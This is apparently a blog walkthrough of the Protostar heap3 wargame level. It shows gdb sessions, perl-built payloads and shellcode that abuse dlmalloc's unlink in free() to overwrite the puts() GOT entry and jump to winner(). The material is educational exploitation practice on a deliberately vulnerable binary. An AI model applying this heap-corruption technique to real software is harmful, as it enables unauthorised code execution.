gdb$ r `perl -e 'print "A"x32 . "\xfc\xff\xff\xff" . "\xfc\xff\xff\xff " . "BBBB\x74\xc0\x04\x08\x64\x88\x04\x08FFFFGGGGHHHHIIIIJJJJ" . " " . "C"'`
...
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
 EAX: 0x08048864 EBX: 0xB7FD7FF4 ECX: 0x00000000 EDX: 0x0804C074 o d I t s z a p c 
 ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF748 ESP: 0xBFFFF700 EIP: 0x08049906
 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[0x007B:0xBFFFF700]------------------------------------------------------[stack]
0xBFFFF750 : 30 C0 04 08 A3 F9 FF BF - 50 AB 04 08 78 F7 FF BF 0.......P...x...
0xBFFFF740 : 00 00 00 00 00 00 00 00 - 78 F7 FF BF 22 89 04 08 ........x..."...
0xBFFFF730 : 64 88 04 08 74 C0 04 08 - 89 0F 00 00 E0 9D F0 B7 d...t...........
0xBFFFF720 : 24 C0 04 08 FC FF FF FF - 00 00 00 00 FC FF FF FF $...............
0xBFFFF710 : 60 B1 04 08 2C C0 04 08 - F8 FF FF FF 70 B1 04 08 `...,.......p...
0xBFFFF700 : 28 1B FE B7 01 00 00 00 - 01 00 00 00 00 00 00 00 (...............
[0x007B:0x08048864]-------------------------------------------------------[data]
0x08048864 : 55 89 E5 83 EC 18 C7 04 - 24 00 00 00 00 E8 0A FF U.......$.......
0x08048874 : FF FF BA 00 AC 04 08 89 - 44 24 04 89 14 24 E8 D9 ........D$...$..
0x08048884 : FE FF FF C9 C3 55 89 E5 - 83 E4 F0 83 EC 20 C7 04 .....U....... ..
0x08048894 : 24 20 00 00 00 E8 54 07 - 00 00 89 44 24 14 C7 04 $ ....T....D$...
0x080488A4 : 24 20 00 00 00 E8 44 07 - 00 00 89 44 24 18 C7 04 $ ....D....D$...
0x080488B4 : 24 20 00 00 00 E8 34 07 - 00 00 89 44 24 1C 8B 45 $ ....4....D$..E
0x080488C4 : 0C 83 C0 04 8B 00 89 44 - 24 04 8B 44 24 14 89 04 .......D$..D$...
0x080488D4 : 24 E8 76 FE FF FF 8B 45 - 0C 83 C0 08 8B 00 89 44 $.v....E.......D
0x080488E4 : 24 04 8B 44 24 18 89 04 - 24 E8 5E FE FF FF 8B 45 $..D$...$.^....E
0x080488F4 : 0C 83 C0 0C 8B 00 89 44 - 24 04 8B 44 24 1C 89 04 .......D$..D$...
0x08048904 : 24 E8 46 FE FF FF 8B 44 - 24 1C 89 04 24 E8 0E 0F $.F....D$...$...
0x08048914 : 00 00 8B 44 24 18 89 04 - 24 E8 02 0F 00 00 8B 44 ...D$...$......D
0x08048924 : 24 14 89 04 24 E8 F6 0E - 00 00 C7 04 24 27 AC 04 $...$.......$'..
0x08048934 : 08 E8 56 FE FF FF C9 C3 - 55 89 E5 83 EC 28 C7 45 ..V.....U....(.E
0x08048944 : F0 01 00 00 00 EB 2F 8B - 45 08 83 C0 34 8B 55 F0 ....../.E...4.U.
0x08048954 : 01 D2 83 EA 02 C1 E2 02 - 01 D0 89 45 F4 8B 45 F4 ...........E..E.
0x08048964 : 8B 55 F4 89 50 0C 8B 45 - F4 8B 50 0C 8B 45 F4 89 .U..P..E..P..E..
0x08048974 : 50 08 83 45 F0 01 83 7D - F0 7F 7E CB 8B 45 08 C7 P..E...}..~..E..
0x08048984 : 80 48 04 00 00 00 00 00 - 00 8B 45 08 C7 80 54 04 .H........E...T.
0x08048994 : 00 00 00 00 01 00 8B 45 - 08 C7 80 4C 04 00 00 00 .......E...L....
0x080489A4 : 00 02 00 8B 45 08 C7 80 - 44 04 00 00 00 00 02 00 ....E...D.......
0x080489B4 : 8B 45 08 8B 00 83 E0 02 - 89 C2 83 CA 49 8B 45 08 .E..........I.E.
--------------------------------------------------------------------------
0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx
0x8049909 <free+229>: mov eax,DWORD PTR [ebp-0x38]
0x804990c <free+232>: mov eax,DWORD PTR [eax+0x2c]
0x804990f <free+235>: cmp eax,DWORD PTR [ebp-0x28]
0x8049912 <free+238>: je 0x80499b6 <free+402>
0x8049918 <free+244>: mov eax,DWORD PTR [ebp-0x24]
0x804991b <free+247>: mov edx,DWORD PTR [ebp-0x28]
0x804991e <free+250>: lea eax,[edx+eax*1]
0x8049921 <free+253>: mov eax,DWORD PTR [eax+0x4]
0x8049924 <free+256>: and eax,0x1
0x8049927 <free+259>: mov DWORD PTR [ebp-0x20],eax
0x804992a <free+262>: mov eax,DWORD PTR [ebp-0x28]
0x804992d <free+265>: mov edx,DWORD PTR [ebp-0x24]
0x8049930 <free+268>: mov DWORD PTR [eax+0x4],edx
0x8049933 <free+271>: cmp DWORD PTR [ebp-0x20],0x0
0x8049937 <free+275>: jne 0x8049963 <free+319>
0x8049939 <free+277>: mov eax,DWORD PTR [ebp-0x28]
0x804993c <free+280>: mov eax,DWORD PTR [eax+0x8]
0x804993f <free+283>: mov DWORD PTR [ebp-0x14],eax
0x8049942 <free+286>: mov eax,DWORD PTR [ebp-0x28]
0x8049945 <free+289>: mov eax,DWORD PTR [eax+0xc]
0x8049948 <free+292>: mov DWORD PTR [ebp-0x18],eax
--------------------------------------------------------------------------------
0x08049906 in free (mem=0x804c030) at common/malloc.c:3638
3638 common/malloc.c: No such file or directory.
 in common/malloc.c

Oops! another sig fault in free() for chunk b.

Looks like 0x0804C074 was being copied to memory location 0x08048864 + 0x8 = 0x804886C which is the location for the second pointer. This is not good.

Do we have write access to memory location 0x804886C?

gdb$ info symbol 0x804886C
winner + 8 in section .text of /opt/protostar/bin/heap3
...
user@protostar:~$ readelf /opt/protostar/bin/heap3 --header
...
Section Headers:
 [Nr] Name Type Addr Off Size ES Flg Lk Inf Al
 [ 0] NULL 00000000 000000 000000 00 0 0 0
 [ 1] .interp PROGBITS 08048114 000114 000013 00 A 0 0 1
...
 [14] .text PROGBITS 080487b0 0007b0 00242c 00 AX 0 0 16
...
 [22] .got PROGBITS 0804b0e4 0030e4 000004 04 WA 0 0 4
...
Key to Flags:
 W (write), A (alloc), X (execute), M (merge), S (strings)
 I (info), L (link order), G (group), x (unknown)
 O (extra OS processing required) o (OS specific), p (processor specific)

No, we don’t have write permission to this memory region.

Looks like we can write to the heap (obviously) and .got (global offset table).

Time to attempt code execution by overwriting a library function pointer in the .got.

Code execution

For starters we need to find a library call after chunk b is free()ed.

Quick list of heap3 after free

0x8048911 <main+136>: call 0x8049824 <free>
0x8048916 <main+141>: mov eax,DWORD PTR [esp+0x18]
0x804891a <main+145>: mov DWORD PTR [esp],eax
0x804891d <main+148>: call 0x8049824 <free>
0x8048922 <main+153>: mov eax,DWORD PTR [esp+0x14]
0x8048926 <main+157>: mov DWORD PTR [esp],eax
0x8048929 <main+160>: call 0x8049824 <free>
0x804892e <main+165>: mov DWORD PTR [esp],0x804ac27
0x8048935 <main+172>: call 0x8048790 <puts@plt>
0x804893a <main+177>: leave 
0x804893b <main+178>: ret

Forget about hijacking free because it’s not being called as an external library and has been compiled in the .text section.

puts@plt looks possible.

What does puts() .got entry look like?

user@protostar:~$ objdump -R /opt/protostar/bin/heap3

/opt/protostar/bin/heap3: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE 
0804b0e4 R_386_GLOB_DAT __gmon_start__
...
0804b128 R_386_JUMP_SLOT puts
0804b12c R_386_JUMP_SLOT munmap

So our first location to overwrite will be 0x0804b128 = 0x804B11C + 0xc.

Our second location to write to will be 0x0804c080 =  0x804C078 + 0x8, which should be safe.

Recap, we will hijack puts() entry in .got with memory location of our choice which in turn will cause IP to start executing whatever instruction are at our control memory.

Let’s first place some debugger traps (int 3) to cause the debugger to pause.

gdb$ r `perl -e 'print "A"x32 . "\xfc\xff\xff\xff" . "\xfc\xff\xff\xff " . "BBBB\x1c\xb1\x04\x08\x78\xc0\x04\x08FFFFGGGGHHHHIIIIJJJJ" . " " . "C"x36 . "\xCC"x20'`
...
gdb$ 

Program received signal SIGTRAP, Trace/breakpoint trap.
--------------------------------------------------------------------------[regs]
 EAX: 0x0804B170 EBX: 0xB7FD7FF8 ECX: 0x00000000 EDX: 0x0804C000 o d I t S z a p c 
 ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF738 ESP: 0xBFFFF70C EIP: 0x0804C07D
 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[0x007B:0xBFFFF70C]------------------------------------------------------[stack]
0xBFFFF75C : 76 85 04 08 01 00 00 00 - A0 F7 FF BF 26 06 FF B7 v...........&...
0xBFFFF74C : 48 18 FE B7 A0 F7 FF BF - FF FF FF FF F4 EF FF B7 H...............
0xBFFFF73C : 76 DC EA B7 04 00 00 00 - E4 F7 FF BF F8 F7 FF BF v...............
0xBFFFF72C : 58 C0 04 08 50 AB 04 08 - 00 00 00 00 B8 F7 FF BF X...P...........
0xBFFFF71C : 38 F7 FF BF 65 63 EC B7 - 08 C0 04 08 30 C0 04 08 8...ec......0...
0xBFFFF70C : 3A 89 04 08 27 AC 04 08 - 6C F9 FF BF 50 AB 04 08 :...'...l...P...
[0x007B:0x0804B170]-------------------------------------------------------[data]
0x0804B170 : 00 C0 04 08 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
0x0804B180 : 00 00 00 00 00 00 00 00 - 00 00 00 00 50 C0 04 08 ............P...
0x0804B190 : 00 00 00 00 00 00 00 00 - 00 00 00 00 2C C0 04 08 ............,...
0x0804B1A0 : 2C C0 04 08 9C B1 04 08 - 9C B1 04 08 A4 B1 04 08 ,...............
0x0804B1B0 : A4 B1 04 08 AC B1 04 08 - AC B1 04 08 B4 B1 04 08 ................
0x0804B1C0 : B4 B1 04 08 BC B1 04 08 - BC B1 04 08 C4 B1 04 08 ................
0x0804B1D0 : C4 B1 04 08 CC B1 04 08 - CC B1 04 08 D4 B1 04 08 ................
0x0804B1E0 : D4 B1 04 08 DC B1 04 08 - DC B1 04 08 E4 B1 04 08 ................
0x0804B1F0 : E4 B1 04 08 EC B1 04 08 - EC B1 04 08 F4 B1 04 08 ................
0x0804B200 : F4 B1 04 08 FC B1 04 08 - FC B1 04 08 04 B2 04 08 ................
0x0804B210 : 04 B2 04 08 0C B2 04 08 - 0C B2 04 08 14 B2 04 08 ................
0x0804B220 : 14 B2 04 08 1C B2 04 08 - 1C B2 04 08 24 B2 04 08 ............$...
0x0804B230 : 24 B2 04 08 2C B2 04 08 - 2C B2 04 08 34 B2 04 08 $...,...,...4...
0x0804B240 : 34 B2 04 08 3C B2 04 08 - 3C B2 04 08 44 B2 04 08 4...<...<...D...
0x0804B250 : 44 B2 04 08 4C B2 04 08 - 4C B2 04 08 54 B2 04 08 D...L...L...T...
0x0804B260 : 54 B2 04 08 5C B2 04 08 - 5C B2 04 08 64 B2 04 08 T...\...\...d...
0x0804B270 : 64 B2 04 08 6C B2 04 08 - 6C B2 04 08 74 B2 04 08 d...l...l...t...
0x0804B280 : 74 B2 04 08 7C B2 04 08 - 7C B2 04 08 84 B2 04 08 t...|...|.......
0x0804B290 : 84 B2 04 08 8C B2 04 08 - 8C B2 04 08 94 B2 04 08 ................
0x0804B2A0 : 94 B2 04 08 9C B2 04 08 - 9C B2 04 08 A4 B2 04 08 ................
0x0804B2B0 : A4 B2 04 08 AC B2 04 08 - AC B2 04 08 B4 B2 04 08 ................
0x0804B2C0 : B4 B2 04 08 BC B2 04 08 - BC B2 04 08 C4 B2 04 08 ................
--------------------------------------------------------------------------
0x804c07d: int3 
0x804c07e: int3 
0x804c07f: int3 
0x804c080: sbb al,0xb1
0x804c082: add al,0x8
0x804c084: int3 
...
0x804c098: add BYTE PTR [eax],al
--------------------------------------------------------------------------------
0x0804c07d in ?? ()

Program received sig trap at EIP 0x804c07d.

We have code execution. Some how we need to have shellcode that will call winner().

We only have 3 bytes to do something because dlmalloc has a pointer right in front of our shellcode at 0x804c080. What about changing the location of the second pointer to 0x804c070 and see if we can get more space for our shellcode.

Final payload

  • chunk a, 32 x’A’
  • chunk b
    • -4 prev_size
    • -4 size
    • 0x0804b1c1 (0x0804b128)  puts() .got location
    • 0x0804c070 shellcode location
    • space filler characters
  • chunk c
    • 24 filler bytes
    • \x68 is push instruction
    • winner() memory location pushed onto stack
    • \xc2 is return opcode taking value from top of stack and placing into IP
gdb$ r `perl -e 'print "A"x32 . "\xfc\xff\xff\xff" . "\xfc\xff\xff\xff " . "BBBB\x1c\xb1\x04\x08\x70\xc0\x04\x08FFFFGGGGHHHHIIIIJJJJ" . " " . "\xCC"x24 . "\x68\x64\x88\x04\x08\xc2"'`
...
gdb$ 
that wasn't too bad now, was it? @ 1440212667

It worked!

Sorry if I missed some details but this challenge was a lot more involved and best way to learn is to experiment. So what are you waiting for?

Thank you

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s